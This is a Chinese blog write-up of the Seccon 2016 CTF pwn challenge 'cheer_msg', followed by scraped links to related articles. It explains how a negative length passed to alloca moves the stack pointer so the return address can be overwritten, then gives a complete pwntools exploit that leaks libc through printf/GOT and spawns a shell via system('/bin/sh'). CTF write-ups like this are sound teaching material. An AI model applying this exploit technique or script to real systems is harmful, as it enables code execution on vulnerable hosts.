前言


本文由 本人 首发于 先知安全技术社区: https://xianzhi.aliyun.com/forum/user/5274


本文目的是以一道比较简单的 ctf 的练手,为后面的分析 RouterOs 的 漏洞和写 exploit 打基础。

Seccon CTF quals 2016 的一道题。

题目,idb 文件:

https://gitee.com/hac425/blog_data/tree/master/pwn_with_alloca

正文

首先看看 main 函数的代码。

逻辑还是比较简单的获取输入后,简单的加了 30 就给 alloca 去分配空间,然后进入 message 函数。

alloca 函数是 从 栈上分配内存, 它分配内存是通过 sub esp , * 来实现的,我们可以转到汇编代码看看。

可以看到调用 alloca 实际就是通过 sub esp, eax 来分配栈内存。

我们输入的 numint 类型的

如果我们输入 num 为 负数, sub esp 就相当于 add esp 我们可以把栈指针往栈底移动。

继续往下看

接下来会调用 message 函数, 可以看到传给他的参数为 esp + 23num , 进入 message 函数 ,看看他的逻辑。



首先读取 n 个字符 到 buf , 这两个变量就是我们传入的参数。

然后读入 0x40 个字符到 message 函数自己定义的局部变量中。

一切都很正常,没有溢出,没有格式化字符串漏洞。

程序的漏洞在于传入的 buf 是通过 alloca 分配的内存,我们可以通过输入 负数 使得 alloca的参数为负, 这样我们就可以把 esp 往栈底移动,栈底有返回地址, 然后通过 message 中读取数据,覆盖 eip 然后进行 rop 即可。

要触发漏洞我们需要输入负数,所以在



会直接返回,不会获取输入,因为它里面调用的是 fgets来获取输入。fgets会有检查。

所以我们只能往 message 函数内的缓冲区 t_buf写数据,不过这个缓冲区也是在栈上,同样与 esp 相关,所以我们把esp 往栈底移时,它也是会跟着下移,通过它也可以写 返回地址 的值。

我们可以输入 -140(这个值可以通过 先输入一个 比较小的比如 -32, 然后计算最后得到的数据的地址距离返回地址位置的距离,来继续调整)

0x0804860E 设个断点

sub 之后

可以看到 esp 已经增大。

然后加上一定的 padding (可以使用 pwntoolscyclic 计算) ,就能修改 返回地址了。

之后就是正常的 rop


使用 printf 打印 got 表中的 printf 的值,泄露 libc 的地址。然后回到程序的开始,再次触发漏洞, 调用 system("sh")


总结

alloca 的细节要注意, 注意输入的数据是有符号的还是无符号的。对于后面计算偏移,可以先动态调试计算一个粗略的值,然后使用 cyclic 确定精确的偏移。

exp

from pwn import *

context.log_level = 'debug'
context.terminal = ['tmux', 'splitw', '-v']
r = process("./cheer_msg") binary = ELF('cheer_msg')
libc = ELF('/lib/i386-linux-gnu/libc-2.23.so') gdb.attach(r, '''
bp 0x0804868B
bp 0x08048610
''') r.recvuntil("Length >> ")
r.sendline("-140")
r.recvuntil("Name >> ") payload = "a" * 0x10 # padding
payload += p32(binary.symbols['printf'])
payload += p32(binary.entry) # ret to start
payload += p32(binary.got['printf']) r.sendline(payload) r.recvuntil("Message :")
r.recv(1)
r.recv(1)
printf_addr = u32(r.recv(4))
libc_base = printf_addr - libc.symbols['printf']
sh = libc_base + libc.search("/bin/sh\x00").next()
system = libc_base + libc.symbols['system'] log.info("got system: " + hex(system))
log.info("got base: " + hex(libc_base))
log.info("get sh " + hex(sh)) r.recvuntil("Length >> ")
r.sendline("-140")
r.recvuntil("Name >> ") payload = "a" * 0x10 # padding
payload += p32(system)
payload += p32(binary.entry)
payload += p32(sh)
r.sendline(payload) r.interactive()

参考:

https://github.com/0x90r00t/Write-Ups/tree/master/Seccon/cheer_msg

一步一步 Pwn RouterOS之ctf题练手的更多相关文章

  1. 一步一步pwn路由器之rop技术实战

    前言 本文由 本人 首发于 先知安全技术社区: https://xianzhi.aliyun.com/forum/user/5274 这次程序也是 DVRF 里面的,他的路径是 pwnable/She ...

  2. 一步一步pwn路由器之wr940栈溢出漏洞分析与利用

    前言 本文由 本人 首发于 先知安全技术社区: https://xianzhi.aliyun.com/forum/user/5274 这个是最近爆出来的漏洞,漏洞编号:CVE-2017-13772 固 ...

  3. 一步一步学ROP之linux_x64篇

    一步一步学ROP之linux_x64篇 一.序 **ROP的全称为Return-oriented programming(返回导向编程),这是一种高级的内存攻击技术可以用来绕过现代操作系统的各种通用防 ...

  4. 一步一步学ROP之gadgets和2free篇(蒸米spark)

    目录 一步一步学ROP之gadgets和2free篇(蒸米spark) 0x00序 0x01 通用 gadgets part2 0x02 利用mmap执行任意shellcode 0x03 堆漏洞利用之 ...

  5. 一步一步学ROP之linux_x64篇(蒸米spark)

    目录 一步一步学ROP之linux_x64篇(蒸米spark) 0x00 序 0x01 Memory Leak & DynELF - 在不获取目标libc.so的情况下进行ROP攻击 0x02 ...

  6. 一步一步学ROP之linux_x86篇(蒸米spark)

    目录 一步一步学ROP之linux_x86篇(蒸米spark) 0x00 序 0x01 Control Flow Hijack 程序流劫持 0x02 Ret2libc – Bypass DEP 通过r ...

  7. 如何一步一步用DDD设计一个电商网站(九)—— 小心陷入值对象持久化的坑

    阅读目录 前言 场景1的思考 场景2的思考 避坑方式 实践 结语 一.前言 在上一篇中(如何一步一步用DDD设计一个电商网站(八)—— 会员价的集成),有一行注释的代码: public interfa ...

  8. 如何一步一步用DDD设计一个电商网站(八)—— 会员价的集成

    阅读目录 前言 建模 实现 结语 一.前言 前面几篇已经实现了一个基本的购买+售价计算的过程,这次再让售价丰满一些,增加一个会员价的概念.会员价在现在的主流电商中,是一个不大常见的模式,其带来的问题是 ...

  9. 如何一步一步用DDD设计一个电商网站(十)—— 一个完整的购物车

     阅读目录 前言 回顾 梳理 实现 结语 一.前言 之前的文章中已经涉及到了购买商品加入购物车,购物车内购物项的金额计算等功能.本篇准备把剩下的购物车的基本概念一次处理完. 二.回顾 在动手之前我对之 ...

随机推荐

  1. Oracle 锁问题处理

    Oracle 锁问题处理 锁等待问题是一个常见的问题 查看持有锁的对象 查看事务正在执行的语句,与应用确认是否能够kill kill 对应的session

  2. require/load/include/extend的区别

    require 一般用于加载一个库,当多次使用require加载一个库时,只有第一次有效,后面的都会加载失败,也就是会返回"false",以为require会追踪文件是否被加载. ...

  3. python上安装requests

    首先需要配置好python的环境变量. 测试是否成功配置,进入命令行,输入python. 如下图为配置成功. 去第三方库的网站下载安装包,解压在python的安装目录 ,下载地址:https://py ...

  4. 编写Android程序Eclipse连不上手机。

    主要问题有: 1.开发者选项没有开启 2.设备管理器中MTP有黄色小叹号 3.ADB异常. 问题1容易解决. 问题2,3困扰了我很长时间,网上的很多解决方法是下载安装MTP驱动,或者直接右击更新驱动. ...

  5. 一分钟让你学会使用Android AsyncTask

    AsyncTask相信大多数朋友对它的用法都已经非常熟悉,这里记录一下主要是献给那些刚刚接触的Android 或者AsyncTask的同学们,高手请绕道. AsyncTask类是Android1.5版 ...

  6. win10上走网络打印机(不需找驱动包,会自动)

    不多说,直接上干货! 之前是 现在是 结束 欢迎大家,加入我的微信公众号:大数据躺过的坑        人工智能躺过的坑       同时,大家可以关注我的个人博客:    http://www.cn ...

  7. ActiveMQ开发注意要点

    目录1.如何保证消息的成功处理2.避免消息队列的并发3.消息有效期的管理4.过期消息,处理失败的消息如何处理 1.保证消息的成功处理消息发送成功后,接收端接收到了消息.然后进行处理,但是可能由于某种原 ...

  8. Nodejs学习笔记(二)—事件模块

    一.简介及资料  http://nodejs.org/api/events.html  http://www.infoq.com/cn/articles/tyq-nodejs-event events ...

  9. Nginx使用记录

    配置常见解释: ########### 每个指令必须有分号结束.################# #user administrator administrators; #配置用户或者组,默认为no ...

  10. Ubuntu18.0.4查看显示器型号

    在官网https://launchpad.net/ubuntu/+source/xresprobe下载二进制包,apt-get目前无法安装xresprobe 输入命令sudo ddcprobe 得到如 ...